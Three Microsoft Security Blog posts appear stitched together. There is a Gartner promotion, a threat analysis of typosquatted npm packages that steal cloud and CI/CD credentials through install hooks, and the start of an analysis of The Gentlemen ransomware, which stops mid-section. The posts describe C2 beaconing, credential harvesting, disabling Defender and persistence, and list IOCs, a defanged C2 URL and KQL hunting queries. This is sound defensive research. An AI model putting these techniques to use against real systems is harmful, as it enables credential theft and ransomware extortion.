Bringing these signals together changes what’s possible. It enables earlier detection, stronger prevention, and capabilities like predictive shielding that help stop attacks before they spread. This is the shift underway in security: from isolated tools to a connected system that can see across the environment, understand what’s changing, and take action in real time. It’s what makes the next generation of AI-driven, agentic security possible and helps defenders stay ahead of threats, not just respond to them.

Get started with Microsoft Defender for Endpoint Sustained innovation to stay ahead of changing threats

Over the past year, Microsoft has introduced key advancements to endpoint protection that have empowered defenders to stay ahead of evolving cyberthreats, including:

Proactive defense during attacks: Attack disruption now expands autonomous protection to predicting and blocking an adversary’s next move during active attacks. It acts just in time to harden against some of the most common attacker tactics, such as group policy objects (GPOs), Safeboot, and identity compromise, to stop lateral movement and defend dynamically.

Custom telemetry: With new custom data collection capabilities, Defender makes it easy for security teams to collect specialized data directly within the Defender portal. It allows organizations to extend their endpoint telemetry beyond the 200+ default signals to support tailored detections and advanced hunting scenarios, such as AMSI for hunting over script content and Kerberos for auth-based and network attacks.

Simplified onboarding: To help security teams onboard simply and securely, we’ve built new Defender deployment tools for Windows and Linux, which handle the entire process for you. Just download a single package and it will dynamically adapt to the operating system, take care of prerequisites, and install the latest version of Defender available as needed for older devices that don’t have it already built in. The Defender deployment tools eliminate friction, automate tricky steps, and provide predictability throughout the onboarding journey.

Sovereign-ready protection: Defender enables customers to meet data storage and privacy needs while operating under public, sovereign, hybrid, or disconnected models. Its multi‑tenant architecture enables organizations to balance centralized security visibility with localized control over their data, reflecting a shift from basic compliance to operational governance.

End-to-end security for local AI agents: Microsoft announced agentic endpoint security as a part of A365 to discover, govern, and block AI agents such as OpenClaw and previously unseen applications running locally on endpoints.

Innovations such as these represent the continued commitment to drive the next wave of innovation. Stay tuned for more exciting advancements at Microsoft Build on June 2nd.

Disrupt ransomware on any platform with Microsoft Defender for Endpoint Learn more

If you’re not yet taking advantage of Microsoft’s leading endpoint security solution, visit Microsoft Defender for Endpoint and start a free trial today to evaluate our leading endpoint protection platform. 

Are you a regular user of Microsoft Defender for Endpoint? Share your insights on Microsoft Defender for Endpoint and get rewarded with a $25 gift card on Gartner Peer Insights™.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

Gartner, Magic Quadrant for Endpoint Protection, Deepak Mishra, Evgeny Mirolyubov, Nikul Patel, 26 May 2026.

Gartner is a registered trademark and service mark and Magic Quadrant is a registered trademark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and are used herein with permission. All rights reserved. 

This graphic was published by Gartner, Inc. as part of a larger research document and should be evaluated in the context of the entire document. The Gartner document is available upon request from.

Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose. 

The post Microsoft is named a Leader in the 2026 Gartner® Magic Quadrant™ for Endpoint Protection appeared first on Microsoft Security Blog.

In this article

1. Attack chain overview
   1. The lure: typosquats and spoofed metadata
   2. Execution: npm lifecycle hook abuse
   3. Gen-1 stager: HTTP C2 beacon and payload drop
   4. Gen-2 stager: abusing the legitimate Bun runtime as a loader
   5. Credential theft
   6. Impact and blast radius
2. Mitigation and protection guidance
   1. How Microsoft Defender helps
   2. Microsoft Defender XDR Detections
   3. Advanced hunting
   4. Indicators of Compromise (IOC)
3. References
4. Learn more

Microsoft has identified an active supply chain attack targeting the npm package ecosystem. On May 28, 2026, a single threat actor operating under the newly created maintainer alias vpmdhaj (a39155771@gmail[.]com) published 14 malicious packages within a four-hour window. The packages typosquat well-known OpenSearch, ElasticSearch, DevOps, and environment-configuration libraries, and several spoof the upstream OpenSearch project’s repository URL in their package.json to appear legitimate. Once installed, the packages harvest AWS credentials, HashiCorp Vault tokens, and CI/CD pipeline secrets from the host environment.

All packages in the cluster ship the same install-time stager and the same Bun-compiled second-stage payload – a ~195 KB credential harvester purpose-built for cloud and CI/CD environments. The payload runs silently during npm install and targets credentials across Amazon Web Services, HashiCorp Vault, GitHub Actions, and the npm registry itself, enabling both cloud lateral movement and downstream supply-chain pivoting through stolen npm publish tokens. Based on our investigation and feedback to the npm team these repos and users were taken down.

Key capabilities observed in the campaign include automatic execution via npm lifecycle hooks, two distinct stager generations (an HTTP-C2 variant and a stealthier variant that abuses the legitimate Bun runtime distribution), AWS Instance Metadata Service (IMDSv2) and ECS task-role theft, AWS Secrets Manager enumeration across 16+ regions, HashiCorp Vault token harvesting, and theft of npm publish tokens for follow-on supply-chain attacks.

Attack chain overview

The vpmdhaj cluster spans 14 scoped and unscoped packages that all mimic the @opensearch / @elastic ecosystem. The attack proceeds through:

• Publication of 14 typosquat packages under a single actor identity
• Automatic payload execution through a preinstall hook during npm install
• Execution chain (Gen-1): node -> preinstall.js -> HTTP C2 -> payload.bin (detached)
• Execution chain (Gen-2): node -> setup.mjs -> download legitimate Bun runtime -> run bundled stage-2
• Cloud credential theft (AWS IMDS, ECS metadata, Vault, Secrets Manager) and npm publish-token theft for downstream supply-chain pivot

Figure 1. vpmdhaj npm supply chain attack flow. The lure: typosquats and spoofed metadata

The actor adopted three social-engineering techniques designed to drive installs by mistake or trust transference. First, lookalike naming – names such as opensearch-setup, opensearch-setup-tool, opensearch-config-utility, elastic-opensearch-helper, search-engine-setup, and env-config-manager mimic well-known cluster-management and configuration libraries. Second, spoofed upstream metadata – every unscoped package sets its package.json homepage, repository, and bugs fields to the legitimate github.com/opensearch-project/opensearch-js project. Third, inflated version numbers – releases jump straight to 1.0.7265, 1.0.9108, or 2.1.9201 to suggest a long, mature release history.

Figure 2. npm.js package page for @vpmdhaj/elastic-helper showing the inflated 1.0.7269 version and the spoofed OpenSearch repository link. Execution: npm lifecycle hook abuse

Every package in the cluster declares an automatic install-time hook in package.json. The malicious code executes the moment a victim runs npm install – no require() from victim code is needed. Two stager variants were observed:

• Gen-1 (versions <= 1.0.7265): install, preinstall, and postinstall hooks all invoke preinstall.js / index.js
• Gen-2 (versions >= 1.0.7266): a single preinstall hook invokes setup.mjs (newer, stealthier loader)

Figure 3. The malicious package.json. A single preinstall hook is enough to gain code execution on every npm install. Gen-1 stager: HTTP C2 beacon and payload drop

preinstall.js collects rich host context – hostname, platform, arch, Node version, USER/USERNAME, cwd, INIT_CWD, npm_package_name, npm_package_version – base64-encodes the JSON, and POSTs it to the actor’s C2 with a campaign-unique header X-Supply: 1. The same C2 endpoint then serves a gunzip-compressed second-stage binary, which is written to payload.bin in the package install directory, chmod 0755’d, and spawned detached.

Figure 4. Stage-1 C2 beacon. The X-Supply: 1 header is a high-confidence detection signal in proxy logs. Figure 5. Stage-2 download, decompression, +x, and detached spawn. __DAEMONIZED=1 lets the payload distinguish itself from npm.

The package’s index.js re-launches the same payload.bin on every subsequent require() of the module – a quiet persistence mechanism that survives across CI build stages and developer rebuild loops. The module also exports a benign-looking object falsely identifying itself as @opensearch/setup.

Figure 6. Persistence shim. The malicious module exports benign-looking metadata and silently re-spawns the payload every time it is require()’d. Gen-2 stager: abusing the legitimate Bun runtime as a loader

In newer versions, the actor replaced the noisy HTTP-C2 design with a stealthier loader that eliminates the install-time C2 round-trip entirely. setup.mjs (a) checks whether bun is already present on the host; (b) if not, downloads the legitimate Bun runtime v1.3.13 from github.com/oven-sh/bun/releases for the correct platform/arch (Linux x64/musl/aarch64, macOS x64/arm64, Windows x64/arm64); (c) extracts the ZIP using unzip, PowerShell Expand-Archive, or a hand-rolled ZIP parser; and (d) executes the pre-bundled second-stage payload (opensearch_init.js or ai_init.js) that ships inside the npm tarball.

This design reduces visibility for defenders that primarily monitor unusual outbound traffic during package installation.

Figure 7. Gen-2 loader. The actor abuses a legitimate GitHub Release of the Bun runtime to execute a pre-bundled payload that ships inside the npm tarball. Credential theft

The second-stage binary is a single-file Bun-compiled JavaScript binary of approximately 195 KB, purpose-built for cloud and CI/CD secret theft. Static review of the bundle identifies routines that target secrets across five platforms:

• AWS: queries EC2 Instance Metadata Service v2 (169.254.169[.]254), Elastic Container Service task metadata (169.254.170[.]2), reads AWS env credentials, calls STS GetCallerIdentity / AssumeRole, and enumerates Secrets Manager (ListSecrets / GetSecretValue) across 16+ regions with a bundled SigV4 signer.
• HashiCorp Vault: reads VAULT_TOKEN and VAULT_AUTH_TOKEN environment variables.
• npm: validates tokens through /-/whoami and enumerates publish access through /-/npm/v1/tokens.
• GitHub Actions: collects GITHUB_REPOSITORY and RUNNER_OS context to identify build environments for prioritized exploitation.
• CI/CD environment: respects __DAEMONIZED=1 to avoid re-entry, and explicitly resets CI=false to mislead build-aware code paths.

Figure 8. String evidence from the Bun-compiled stage-2 payload. The same binary is dropped by both Gen-1 and Gen-2 stagers. Impact and blast radius

• Stolen AWS STS sessions and Secrets Manager material enable cloud lateral movement and data theft.
• Stolen GitHub Actions tokens enable repo manipulation and CI/CD pipeline tampering.
• Stolen npm publish tokens enable downstream supply-chain pivoting – pushing malicious updates to packages owned by hijacked maintainer identities, expanding the campaign beyond the initial 14 packages.
• All 14 packages target the OpenSearch / ElasticSearch ecosystem keywords, suggesting the actor likely chose a developer audience to have AWS and Elastic cloud credentials in their environments.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

• Identify systems that installed or built affected package versions on or after May 28, 2026.
• Pin known-good package versions where possible and avoid automatic dependency upgrades until validation is complete.
• Disable pre- and post-installation script execution by running npm install with –ignore-scripts (or setting npm config set ignore-scripts true globally). Apply equivalent settings for pnpm and yarn.
• Rotate AWS IAM/STS, HashiCorp Vault, npm publish, and GitHub Actions tokens that may have been exposed to affected runners or developer workstations.
• Block egress to aab.sportsontheweb[.]net at proxy, firewall, and DNS layers. Alert on any HTTP request carrying the header X-Supply: 1.
• Hunt CloudTrail for anomalous sts:GetCallerIdentity rapidly followed by sts:AssumeRole, and for secretsmanager:ListSecrets or GetSecretValue in cross-region succession from build infrastructure or developer IP space.
• Audit CI/CD logs for unexpected outbound network connections, Bun runtime downloads from GitHub Releases by Node.js processes, and detached child processes spawned with __DAEMONIZED=1.
• Review npm package lockfiles (package-lock.json, yarn.lock, pnpm-lock.yaml), build logs, and artifact provenance for evidence of compromised package versions.
• Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.
• Use Microsoft Defender XDR to investigate suspicious activity across endpoints, identities, cloud apps, and developer environments.
• Use Microsoft Defender Vulnerability Management to search for the affected packages across your estate.

How Microsoft Defender helps

Microsoft Defender Antivirus detects and blocks the malicious components on access. During reproduction in our analysis environment, setup.mjs was automatically quarantined the moment the tarball was extracted to disk.

Figure 9. Microsoft Defender auto-quarantine of setup.mjs at extract time. Microsoft Defender XDR Detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

TacticObserved activityMicrosoft Defender coverageInitial Access / ExecutionSuspicious script execution during npm install or package lifecycle activityMicrosoft Defender Antivirus
  -Trojan:JS/ShaiWorm
  -Trojan:JS/ObfusNpmJs
  -Backdoor:JS/SupplyChain

Microsoft Defender for Endpoint
  – Suspicious usage of Bun runtime
  – Suspicious installation of Bun runtime
  – Suspicious Node.js process behavior

Microsoft Defender XDR
  – Suspicious file creation in temporary directory by node.exe
  – Suspicious Bun execution from Node.js processCredential AccessPotential harvesting of AWS, Vault, GitHub Actions, and npm tokens from CI/CD runnersMicrosoft Defender for Endpoint
  – Credential access attempt
  – Suspicious cloud credential access by npm-cached binary
  – AWS Instance Metadata Service access from suspicious process

Microsoft Defender for Cloud
  – Possible IMDS abuse from container workload
  – Anomalous Secrets Manager enumeration across regionsCommand and ControlOutbound HTTP beacon with X-Supply: 1 header to attacker-controlled C2Microsoft Defender for Endpoint
  – Connection to a custom network indicator (aab.sportsontheweb[.]net)
  – Suspicious outbound HTTP from npm install contextPersistenceRe-spawn of payload.bin on every require() of compromised packageMicrosoft Defender for Endpoint
  – Detached child process spawned by node.exe with __DAEMONIZED=1 Advanced hunting

The following sample queries let you search for a week’s worth of events. To explore up to 30 days of raw data, go to the Advanced Hunting page > Query tab, and update the time range to Last 30 days.

Hunt for suspicious npm lifecycle script execution involving vpmdhaj packages.

DeviceProcessEvents | where Timestamp > ago(7d) | where FileName in~ ("node.exe", "node", "npm.cmd", "npm.exe", "npx.cmd", "npx.exe") | where ProcessCommandLine has_any ("preinstall", "postinstall", "install") | where ProcessCommandLine has_any ( "@vpmdhaj", "opensearch-setup", "opensearch-setup-tool", "opensearch-config-utility", "opensearch-security-scanner", "search-engine-setup", "search-cluster-setup", "elastic-opensearch-helper", "vpmdhaj-opensearch-setup", "env-config-manager", "app-config-utility") | project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for the stage-2 payload artifact on disk.

DeviceFileEvents | where Timestamp > ago(7d) | where FileName =~ "payload.bin" | where FolderPath has "node_modules" | project Timestamp, DeviceName, FolderPath, FileName, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for detached payload execution with the campaign environment marker.

DeviceProcessEvents | where Timestamp > ago(7d) | where ProcessCommandLine has "__DAEMONIZED=1" or InitiatingProcessCommandLine has "__DAEMONIZED=1" | project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Hunt for Gen-2 loader: Bun runtime download from GitHub Releases by Node.js.

DeviceNetworkEvents | where Timestamp > ago(7d) | where InitiatingProcessFileName in~ ("node.exe", "node") | where RemoteUrl has "github.com/oven-sh/bun/releases/download" | project Timestamp, DeviceName, RemoteUrl, RemoteIP, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for C2 beacon to attacker infrastructure.

DeviceNetworkEvents | where Timestamp > ago(30d) | where RemoteUrl has "aab.sportsontheweb.net" or RemoteUrl has "sportsontheweb.net" | project Timestamp, DeviceName, RemoteUrl, RemoteIP, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for AWS IMDS / ECS metadata access from Node.js processes.

DeviceNetworkEvents | where Timestamp > ago(7d) | where InitiatingProcessFileName in~ ("node.exe", "node", "bun.exe", "bun") | where RemoteIP in ("169.254.169.254", "169.254.170.2") | project Timestamp, DeviceName, RemoteIP, RemoteUrl, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName Indicators of Compromise (IOC)

Affected npm packages – all published by maintainer vpmdhaj on 2026-05-28:

IndicatorTypeDescription@vpmdhaj/elastic-helper (1.0.7269)PackageTyposquat – ElasticSearch/OpenSearch helper@vpmdhaj/devops-tools (1.0.7267)PackageTyposquat – DevOps tools / OpenSearch setup@vpmdhaj/opensearch-setup (1.0.7267)PackageTyposquat – OpenSearch setup utility@vpmdhaj/search-setup (1.0.7268)PackageTyposquat – search engine setupopensearch-security-scanner (1.0.10)PackageUnscoped lookalike – security scanneropensearch-setup (1.0.9103)PackageUnscoped lookalike – spoofs opensearch-project repo URLopensearch-setup-tool (1.0.9108)PackageUnscoped lookalike – spoofs opensearch-project repo URLopensearch-config-utility (1.0.9106)PackageUnscoped lookalike – spoofs opensearch-project repo URLsearch-engine-setup (1.0.9108)PackageUnscoped lookalike – spoofs opensearch-project repo URLsearch-cluster-setup (1.0.9104)PackageUnscoped lookalike – spoofs opensearch-project repo URLelastic-opensearch-helper (1.0.9108)PackageUnscoped lookalike – spoofs opensearch-project repo URLvpmdhaj-opensearch-setup (1.0.9102)PackageUnscoped – author-named OpenSearch setupenv-config-manager (2.1.9201)PackageTyposquat – dotenv-style config managerapp-config-utility (1.0.9300)PackageTyposquat – generic app config utility Actor, network, and file IOCs IndicatorTypeDescriptionvpmdhajnpm maintainer aliasThreat actor publishing all 14 packagesa39155771@gmail.comEmailMaintainer contact email registered on npmaab.sportsontheweb[.]netDomainStage-1 C2 (Gen-1 packages)hxxp://aab.sportsontheweb[.]net/x.phpURLBeacon + stage-2 payload endpoint (port 80)X-Supply: 1HTTP headerCampaign-unique marker – high-confidence proxy detection169.254.169.254IPAWS EC2 IMDSv2 endpoint queried by stage-2169.254.170.2IPAWS ECS task metadata endpoint queried by stage-2638788AFC4F1B5860A328312CAF5895ABD5F5632D28A4F2A85B09076E270D15DSHA-256preinstall.js (Gen-1 stager)77D92EFE7AF3547F71FD41D4A884872D66B1BE9499EAA637E91EAC866911694DSHA-256setup.mjs (Gen-2 stager)BFA149694EC6411C23936311A999163ADE54D6F38E2F4B0E3CFB8CB67BD7CFAASHA-256payload.gz (gzipped Bun stage-2)opensearch_init.jsFilenameBun-compiled stage-2 credential harvester (~195 KB)ai_init.jsFilenameAlternate stage-2 filename used by some Gen-2 packagespayload.binFilenameDropped stage-2 binary in node_modules install dir__DAEMONIZED=1Env varMarker set by stager when spawning detached payload References

• https://www.npmjs.com/~vpmdhaj  –  npm maintainer profile (all 14 packages)
• https://www.npmjs.com/package/@vpmdhaj/elastic-helper
• https://www.npmjs.com/package/@vpmdhaj/devops-tools
• https://docs.npmjs.com/cli/v10/using-npm/scripts  –  npm lifecycle scripts documentation
• https://bun.sh  –  Bun runtime (abused by Gen-2 stager as a loader)
• https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-use-IMDSv2.html  –  IMDSv2 hardening guidance

This research is provided by Microsoft Defender Security Research with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 

The post Typosquatted npm packages used to steal cloud and CI/CD secrets appeared first on Microsoft Security Blog.

In this article

1. Pre-encryption
2. File encryption
3. Post-encryption
4. Defending against The Gentlemen ransomware
5. Microsoft Defender detections and hunting guidance
6. Indicators of compromise

Ransomware that combines robust encryption with rapid lateral movement significantly increases the risk and impact of an attack. The Gentlemen ransomware is a ransomware-as-a-service (RaaS) threat that is distinguished by its ability to pair its strong per-file encryption with an aggressive self-propagation capability designed to enable broad network compromise. In addition to using per-file ephemeral Curve25519 keys with XChaCha20 stream cipher, The Gentlemen ransomware attempts to spread across an environment using series of simultaneous, distinct lateral movement methods, increasing the likelihood of widespread impact once initial access is achieved.

Understand the threat

Protect against ransomware and extortion activity ›

Microsoft Threat Intelligence tracks the operators behind the ransomware as Storm-2697, a financially motivated threat actor that manages the RaaS platform known as “The Gentlemen” while affiliates carry out attacks. Emerging around mid-2025, The Gentlemen initially started as a closed ransomware group then began offering its RaaS to affiliates in September 2025. More recently, The Gentlemen operators established an official partnership with BreachForums, a popular cybercriminal marketplace, to recruit affiliates including penetration testers and initial access brokers. Given that The Gentlemen is already a widely adopted RaaS platform, this partnership may lead to increased activity as the program becomes accessible to a broader pool of threat actors.

The operators behind the ransomware use double extortion tactics, encrypting data while also exfiltrating sensitive information to pressure victims through the threat of public release if the ransom is not paid. The ransomware is written in Go and obfuscated with Garble to target the Windows environment. Microsoft has observed The Gentlemen ransomware impacting organizations across education, transportation, healthcare, and financial industries in North America, South America, Europe, Africa, and Asia.

In this blog, we present a detailed analysis of the Gentlemen ransomware encryptor, including its execution flow, defense evasion behaviors, encryption design, and lateral movement techniques. This research is intended to provide defenders, incident responders, and the broader security community with a better understanding of how the threat operates, from initial argument parsing and defense evasion, through its file encryption internals, to the full lateral movement that enables it to propagate across the network. We also provide mitigation guidance, Microsoft Defender detections, hunting queries, and indicators of compromise (IOCs) to help organizations defend against this threat and similar ransomware activity.

Pre-encryption Command-line argument processing

The ransomware operator can control The Gentlemen encryptor through command-line arguments. A password is required for execution, and optional arguments allow the operator to specify encryption scope, speed, lateral movement, and post-encryption behaviors.

The binary accepts the following arguments:

Command-line argumentDescription--password <password>Required access password (build-specific)--path <list of paths>Comma-separated list of target directories or file paths--T <minutes>Delay in minutes before file encryption begins--silentSilent mode. Disable renaming files, changing timestamps after encryption, and setting the desktop wallpaper--systemEncrypt files as SYSTEM, targeting only local drives--sharesEncrypt only mapped network drives and available Universal Naming Convention (UNC) shares--fullTwo-phase encryption by relaunching itself as two separate processes, one with --system for local drives and one with --shares for network shares--spread <domain/user:password>Enable self-propagation. Accept credentials for lateral movement. If no credential is provided, the current session token is used for lateral movement.--ultrafastEncrypt 0.3% per chunk (~0.9% total for large files)--superfastEncrypt 1% per chunk (~3% total for large files)--fast Encrypt 3% per chunk (~9% total for large files)--keepDisable self-delete after file encryption completes--wipeWipe free disk space after encryption

The --full command-line argument appears to be the intended mode of operation for comprehensive file encryption on the infected device. When this argument is provided, the malware spawns two child processes of itself: one appended with the argument --system to encrypt local volumes under a SYSTEM-privileged scheduled task, and one appended with the argument --shares to encrypt network shares. This separation ensures that the malware can reach both local drives (which might require SYSTEM privileges) and mapped network shares (which are only visible in the user’s session).

Figure 1. Encryption mode command-line arguments

The speed arguments (--fast, --superfast, --ultrafast) are mutually exclusive and control how much of each large file is encrypted. When no speed flag is specified, the default per-chunk percentage is 9%. These flags only affect files that are larger than 1 MB, and small files are fully encrypted regardless of the speed setting.

Usage prompt

When the encryptor is executed with no command-line argument, the malware prints a branded usage banner to the console.

It first executes the following PowerShell commands to render a console header:

This is followed by a detailed usage prompt provided by the malware author that documents all available flags with descriptions and examples:

Figure 2. The Gentlemen ransomware’s usage prompt

It is worth noting that the file size percentages listed in the usage prompt refer to the total file encryption amount. Internally, the malware encrypts three separate chunks, and the per-chunk percentage used in the code is: fast=3%, superfast=1%, ultrafast=0.3%, default=9%.

Password check

Before executing its primary functionality, the malware validates the --password argument against a hardcoded value embedded within the binary. For the sample analyzed in this blog, the expected password is “9VoAvR7G”. If the provided password does not match, the malware outputs bad args and terminates execution.

This password check is a simple operator authentication mechanism, with each build containing a unique embedded password. Its purpose is to restrict execution to authorized operators and reduce the risk of accidental or unauthorized detonation if the binary is recovered or intercepted. However, because this validation relies on a static comparison, it can be easily identified and bypassed through static analysis techniques.

System encryption: Privilege escalation

When the --system argument is provided (either directly or via the --full argument), the malware creates a scheduled task to re-execute itself as SYSTEM. If a delay value is also specified through the --T argument, the scheduled execution time is adjusted accordingly.

To relaunch itself as SYSTEM, it issues the following sequence of commands:

The malware can only perform this task if it’s executed from an account with administrator privilege. It first deletes any existing task named gentlemen_system to avoid conflicts, creates a new one-time task that runs its binary under the SYSTEM account, and finally triggers that task.

This sequence ensures a clean state by first removing any existing task with the same name (gentlemen_system), creating a new scheduled task that executes the ransomware binary with SYSTEM-level privileges before finally triggering its immediate execution.

When running within this scheduled task context, the malware sets the environment variable LOCKER_BACKGROUND=1. This variable functions as an internal execution flag, indicating that the process is operating as a background encryption worker with elevated privileges, rather than as the original operator-invoked instance.

Defense evasion

Before starting file encryption, the malware executes a sequence of commands to disable defensive controls and remove potential forensic artifacts.

Disable Microsoft Defender

The PowerShell commands disable Microsoft Defender real-time monitoring to remove active protection on the infected device. The malware then adds its own executable to the Defender exclusion list to avoid detection. Finally, it excludes the entire C:\ volume from scanning, reducing the likelihood of subsequent detection during file encryption.

Delete shadow copies and event logs

To further impede recovery efforts, the malware deletes all Volume Shadow Copies using both vssadmin and wmic (Windows Management Instrumentation command-line utility). It then clears the System, Application, and Security event logs using wevtutil to remove key audit trails.

Delete forensics artifacts

These commands remove a variety of forensic artifacts, including prefetch files that track program execution, Defender diagnostic and support logs, and Remote Desktop Protocol (RDP) logs.

Additionally, the malware manually deletes PowerShell command history across all user profiles by removing the following file:

This action eliminates evidence of previously executed PowerShell commands, further reducing the visibility of execution history and threat actor activity.

Process and service termination Process termination

The malware stops a list of running processes using the command:

The table below summarizes the different categories and processes being targeted:

CategoryTargeted processesVirtualizationvmms, vmwp, vmcompute, Docker DesktopDatabasessqlservr, sqlbrowser, SQLAGENT, sqlwriter, dbeng50, dbsnmp, mysqld, postgres, postmaster, psql, oracle, sqlceip, DBeaver, Ssms, pgAdmin3, pgAdmin4Backup and recovery softwareVeeamNFSSvc, VeeamTransportSvc, VeeamDeploymentSvc, Veeam.EndPoint.Service, Iperius, IperiusService, vsnapvss, cbVSCService11, CagService, CVMountd, cvd, cvfwd, CVODS, xfssvccon, bedbhEndpoint detection and response (EDR)vxmon, benetns, bengien, beserver, pvlsvr, avagent, avscc, EnterpriseClient, cbService, cbInterface, raw_agent_svcSAPSAP, saphostexec, saposco, sapstartsrvOffice applicationsexcel, winword, wordpad, powerpnt, visio, infopath, msaccess, mspub, onenoteEmail clientsoutlook, thunderbird, tbirdconfig, thebatWeb and application serversw3wp, isqlplussvcBrowser applicationsfirefox, steam, notepadRemote access managementTeamViewer_Service, TeamViewer, tv_w32, tv_x64, mydesktopservice, mydesktopqos, mvdesktopserviceAccounting applicationsQBIDPService, QBDBMgrN, QBCFMonitorServiceOther utilitiesencsvc, agntsvc, synctime, ocautoupds, ocomm, ocssd, DellSystemDetect Service termination

In addition to terminating processes, the malware disables and stops a list of Windows services using the commands:

The table below summarizes the different categories and services being targeted:

CategoryTargeted servicesVirtualizationvmms, dockerDatabasesMSSQLSERVER, MSSQL*, MSSQL$SQLEXPRESS, SQLSERVERAGENT, SQLAgent$SQLEXPRESS, sql, (.)sql(.), MySQL, MariaDB, postgresql, OracleServiceORCLBackup, storage, and recovery softwareveeam, backup, vss, VeeamNFSSvc, VeeamTransportSvc, VeeamDeploymentService, BackupExecVSSProvider, BackupExecAgentAccelerator, BackupExecAgentBrowser, BackupExecJobEngine, BackupExecManagementService, BackupExecRPCService, BackupExecDiveciMediaService, AcronisAgent, YooBackup, AcrSch2Svc, VSNAPVSS, GxBlr, GxVss, GxClMgrS, GxCVD, GxClMgr, GXMMM, GxVsshWProv, GxFWD, PDVFSServiceEDRSophos, DefWatch, SavRoam, RTVscan, ccSetMgr, ccEvtMgr, CAARCUpdateSvc, stc_raw_agent, MVarmor, MVarmor64, mepocs, memtas, zhudongfangyuSAPSAP, SAPService, SAP$, SAPD$, SAPHostControl, SAPHostExecMicrosoft Exchangemsexchange, MSExchange, MSExchange$, WSBExchangeAccounting applicationsQBIDPService, QBDBMgrN, QBCFMonitorServiceOther utilitiessvc$, YooIT

Terminating these processes and services serves two primary objectives:

• File access and encryption reliability: Many targeted processes/services, such as databases, Office applications, and backup agents, maintain active file locks. By forcibly terminating these processes, the ransomware ensures that locked files become accessible for encryption.
• Defense and recovery disruption: By stopping backup services, endpoint protection agents, and remote access tools, the malware reduces the likelihood of real-time detection and data restoration from backups.

Collectively, these behaviors maximize encryption coverage while hindering the environment’s ability to detect, respond to, or recover from the attack.

Persistence

The encryptor can establish persistence for itself through two mechanisms: scheduled tasks and registry keys.

Figure 3. The Gentlemen ransomware’s persistence mechanism Scheduled tasks persistence

For establishing persistence with scheduled tasks, the malware executes the following sequence of commands:

These commands first remove any pre-existing tasks with the same names, then create two persistence mechanisms that execute automatically at system startup. The UpdateSystem task launches the payload in the SYSTEM security context, while the UpdateUser task launches it in the currently signed-in user’s context. This design increases the likelihood that the ransomware will run after reboot regardless of privilege level or sign-in state.

Registry keys persistence

For establishing persistence with the registry, the malware executes the following sequence of commands:

The GupdateS value under HKEY_LOCAL_MACHINE (HKLM) provides device-wide persistence that allows the malware to run at startup for all users, while the GupdateU value under HKEY_CURRENT_USER (HKCU) provides user-scoped persistence within the current profile. By writing to both registry hives, the malware establishes redundant autorun paths across both system-level and user-level execution contexts.

Together, the scheduled tasks and Run key modifications create layered persistence, ensuring that the encryptor is re-executed after a reboot in both privileged and user-context scenarios.

Network share traversal

When the command-line argument --shares is provided, the malware initiates network share discovery and enumeration. It begins by probing all drive letters A through Z to identify mapped network drives using the following commands:

This sequence discovers any drives that are already mapped in the current user’s session, which are then added to the encryption target list.

To further enhance visibility into the network environment, the malware enables multiple Windows network discovery services and their associated firewall rules using the following commands:

The services enabled as part of this process include:

• Function Discovery Resource Publication (fdrespub): Publishes the host’s resources to the network, allowing other systems to detect it.
• Function Discovery Provider Host (fdPHost): Hosts provider components responsible for discovering network resources.
• Simple Service Discovery Protocol (SSDP) Discovery (SSDPSRV): Enables discovery of Universal Plug and Play (UPnP) devices.
• UPnP Device Host (upnphost): Supports the hosting and management of UPnP devices.

Finally, the malware reinforces this configuration by enabling the Network Discovery firewall rule group. This redundancy ensures that firewall restrictions do not limit its network visibility, further maximizing the number of reachable targets for encryption and propagation.

Volume and directory traversal

To enumerate all available volumes on the system, the malware executes the following PowerShell command sequence:

This command queries Windows Management Instrumentation (WMI) for all mounted volumes with drive letter paths and attempts to enumerate Cluster Shared Volumes (CSVs).

Additionally, the malware performs a secondary enumeration routine by iterating through drive letters A through Z while verifying their existence on disk. This brute-force method ensures broader coverage by identifying volumes that might not be retrieved through WMI queries to maximize visibility into all potential encryption targets.

Directory exclusion list

To maintain system stability and avoid disrupting critical operating system components, the malware excludes a predefined set of directories from traversal and encryption. These directories include core Windows system paths, application directories, and locations commonly associated with security and system management:

Extension exclusion list

The ransomware also excludes a set of file extensions associated with system-critical binaries, configuration files, and executable content:

By avoiding executable files, libraries, scripts, and other system-relevant formats, the malware preserves the integrity of the operating environment. This selective encryption model is a common ransomware design pattern, ensuring that the system remains operational enough for the victim to receive instructions and facilitate ransom payment.

File name exclusion list

The specific file names below are also excluded:

